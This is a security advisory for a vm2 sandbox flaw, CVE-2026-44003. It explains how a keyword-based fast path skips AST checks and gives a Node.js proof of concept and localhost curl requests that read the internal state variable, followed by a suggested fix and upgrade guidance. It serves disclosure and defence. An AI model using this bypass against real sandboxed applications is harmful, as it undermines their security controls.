CVE-2026-44003: vm2: Transformer Fast-Path Bypass Exposes Internal State Variable
Summary vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL variable, which exposes internal security functions (handleException, wrapWith, import).
Details In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.
When the fast-path is taken: 1. INTERNALSTATENAME identifier check is bypassed: The AST visitor that blocks access to VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL never runs 2. with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation 3. The internal state object exposes: handleException(e), wrapWith(x), import(what)
While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.
PoC
Library-level PoC (Node.js script — primary): javascript const { VM } = require("vm2"); const vm = new VM();
// Access internal state (bypassed — no catch/import/async keywords) const result = vm.run( var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; Object.keys(x).join(",") ); console.log(result); // "wrapWith,handleException,import"
// Control test — blocked when catch keyword is present try { vm.run( try { var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; } catch(e) { e.message } ); } catch(e) { console.log(e.message); // "Use of internal vm2 state variable" }
HTTP demonstration: bash Internal state access (bypassed) curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; Object.keys(x).join(\",\")"}' Result: "wrapWith,handleException,import"
Control test — blocked when catch keyword is present curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"try { var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; } catch(e) { e.message }"}' Result: {"errors":["Use of internal vm2 state variable"]}
Suggested fix: javascript // transformer.js:55 — add 'with' keyword and INTERNALSTATENAME check if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNALSTATENAME) === -1) { return {proto: null, code, hasAsync: false}; }
Impact - Security Control Bypass: The INTERNALSTATENAME access restriction is completely ineffective when the code avoids 3 specific keywords. - Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes. - Scope: All applications using vm2. No special configuration required.
Other sources
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44003?
CVE-2026-44003 has a medium severity rating due to potential unauthorized access to internal state variables.
How do I fix CVE-2026-44003?
To fix CVE-2026-44003, upgrade to vm2 version 3.11.0 or later.
What versions of vm2 are affected by CVE-2026-44003?
CVE-2026-44003 affects all versions of vm2 up to and including 3.10.5.
What functionality does CVE-2026-44003 compromise?
CVE-2026-44003 compromises the sandboxing features of the vm2 library, allowing potential access to restricted internal variables.
Can CVE-2026-44003 be exploited remotely?
CVE-2026-44003 may be exploited remotely if a vulnerable version of vm2 is used in a web-facing application.